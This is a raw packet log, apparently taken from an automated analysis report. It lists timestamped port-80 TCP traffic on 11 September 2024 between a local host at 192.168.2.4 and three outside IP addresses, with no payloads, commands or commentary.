Sep 11, 2024 16:22:17.754518986 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754519939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754530907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754538059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754543066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754559040 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754586935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754611015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754621983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754632950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754647970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754673958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754686117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754684925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754697084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754708052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754719019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754719019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754734039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754760027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754931927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754947901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754956961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754966974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754976034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754981995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754987001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.754997015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.754998922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755009890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755021095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755031109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755033970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755043030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755052090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755062103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755063057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755072117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755075932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755086899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755100965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755131006 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755131006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755143881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755153894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755165100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755168915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755177021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755199909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755224943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755392075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755403042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755412102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755431890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755448103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755469084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755480051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755490065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755501986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755511999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755512953 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755522966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755532980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755539894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755543947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755549908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755578995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755601883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755613089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755621910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755631924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755642891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755646944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755654097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755665064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755665064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755677938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755692959 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755718946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755740881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755750895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755759954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755769014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755779982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755779028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755789995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755796909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755801916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755812883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755822897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755824089 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755835056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755846977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755858898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755871058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755881071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755892038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755894899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755903006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.755907059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755940914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.755971909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.756017923 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.784074068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784089088 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784106970 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784117937 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784130096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784199953 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784199953 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784221888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784260988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784271955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784282923 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784292936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784301043 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784301043 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784303904 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784315109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784318924 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784341097 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784365892 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784375906 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784388065 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784398079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784409046 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784435034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784436941 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784436941 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784446001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784456015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784459114 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784467936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784487963 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784503937 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.784790993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784801006 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.784852982 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785221100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785233021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785242081 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785268068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785278082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785280943 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785280943 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785288095 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785300016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785310984 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785325050 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785326004 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785355091 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785703897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785715103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785725117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785733938 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785753965 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785804033 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785821915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785892010 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785903931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.785936117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785936117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.785952091 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.786715031 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786725998 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786736012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786787033 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.786787033 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.786815882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786827087 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786838055 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786850929 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.786861897 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.786863089 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.786887884 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787045956 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787081957 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787092924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787102938 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787137985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787143946 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787143946 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787148952 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787158966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787170887 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787187099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787187099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787210941 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787210941 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787476063 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787524939 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787669897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787678957 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787688971 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787735939 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787735939 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787802935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787815094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787825108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787837029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787848949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787872076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787872076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787960052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787971973 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787982941 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.787998915 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.787998915 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788014889 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788089037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788100004 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788105011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788117886 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788127899 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788145065 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788145065 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788252115 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788666010 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788676977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788687944 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788701057 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788712025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788738966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788738966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788789988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788811922 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788824081 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788834095 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788846016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788856983 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788861036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788877964 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788903952 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.788948059 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788958073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788968086 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788978100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788986921 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.788991928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789007902 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789180994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789834976 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789845943 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789855003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789871931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789882898 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789892912 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789904118 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789907932 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789907932 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789913893 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.789942026 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789942026 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.789964914 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.793570042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793593884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793606997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793617964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793631077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793632984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793641090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793654919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793675900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793675900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793675900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793715954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793752909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793765068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793776989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793787956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793792963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793800116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793812037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793817043 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793824911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.793840885 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.793864965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.801970005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.801985979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.801997900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.802050114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.802059889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.802073002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.802079916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.802084923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.802098036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.802098036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.802123070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.802139997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.802886009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.802897930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.802946091 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.802963018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.802973986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.802985907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.802999973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.803010941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.803040981 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.803066969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.803107977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.803195000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.803239107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.805212021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805224895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805243969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805269003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.805305958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.805310011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805327892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805340052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805347919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.805378914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.805661917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.805707932 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.806596041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806607962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806618929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806634903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806646109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806653023 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.806683064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.806713104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806724072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.806754112 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808646917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808672905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808684111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808715105 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808748960 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808811903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808824062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808834076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808845043 CEST	80	49735	147.45.44.104	192.168.2.4
